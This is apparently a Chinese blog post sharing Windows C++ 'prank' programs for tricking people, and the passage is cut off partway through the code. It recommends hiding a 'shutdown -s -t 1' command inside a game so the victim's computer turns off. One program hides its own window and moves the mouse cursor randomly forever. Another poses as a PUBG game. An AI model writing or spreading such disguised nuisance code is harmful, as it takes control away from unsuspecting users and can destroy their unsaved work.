首先添加#include<windows.h>头文件
接下来可以用它来关机!(运行后,将关机)
system("shutdown -s -t 1")
呵呵~
在做游戏文章时,可以加一个
system("shutdown -s -t 1")
~~~~~~~·就关机了~~~~~~
最后留下一个坑人吃鸡
########坑人专用1########
代码:
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
for(;;)
{
//system("start cmd");
//for(int i=1;i<=100;i++)
//{
SetCursorPos(rand()%y,rand()%x);
//}
}
return 0;
}
########坑人专用2########
代码:
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
using namespace std;
char c;
string kv="TPP",km="艾伦格",ks="单人";
//基本必备函数
void SetPos(COORD a)//光标定位
{
HANDLE out=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(out, a);
}
void SetPos(int i, int j)//光标定位
{
COORD pos= {i, j};
SetPos(pos);
}
void color(int a)//颜色
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);
}
void Pos()//隐藏光标
{
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cci;
GetConsoleCursorInfo(hOut, &cci);
cci.bVisible = FALSE;
SetConsoleCursorInfo(hOut, &cci);
}
//所有函数
void loading()
{
color(8);
SetPos(0,5);
cout<<" -----------------"<<endl;
cout<<" -| |-"<<endl;
cout<<" | PUBG |"<<endl;
cout<<" -| |-"<<endl;
cout<<" -----------------"<<endl<<endl<<endl;
color(14);
cout<<" 加载中";
cout<<endl<<endl;
color(8);
for (int i=0; i<36; i++)
cout<<"-";
SetPos(0,14);
color(15);
Pos();
for (int i=0; i<36; i++)
{
cout<<"-";
_sleep(80);
}
cout<<endl<<"100%";
_sleep(1500);
}
void lobby()
{
system("Cls");
cout<<"-----------------------------------------------------------"<<endl;
cout<<"|开始(k) | | |"<<endl;
cout<<"|--------| | |"<<endl;
cout<<"|视角(v):| | |"<<endl;
printf("|%s | | ||\n",kv.c_str());
cout<<"|--------| | _| |"<<endl;
cout<<"|地图(m):| __ | | |"<<endl;
printf("|%s | | | | | |\n",km.c_str());
cout<<"|--------| _|__|_ | _| |"<<endl;
cout<<"|模式(s):| _| |_ ____||____ |"<<endl;
printf("|%s | | |PUBG| | | | | | |\n",ks.c_str());
cout<<"|========| | |____| | |__|____|__| |"<<endl;
cout<<"| | | | | | | |"<<endl;
cout<<"| ______ | | | | | | |"<<endl;
cout<<"| ___| |___|____|_________________|_|____|_|___|"<<endl;
cout<<&#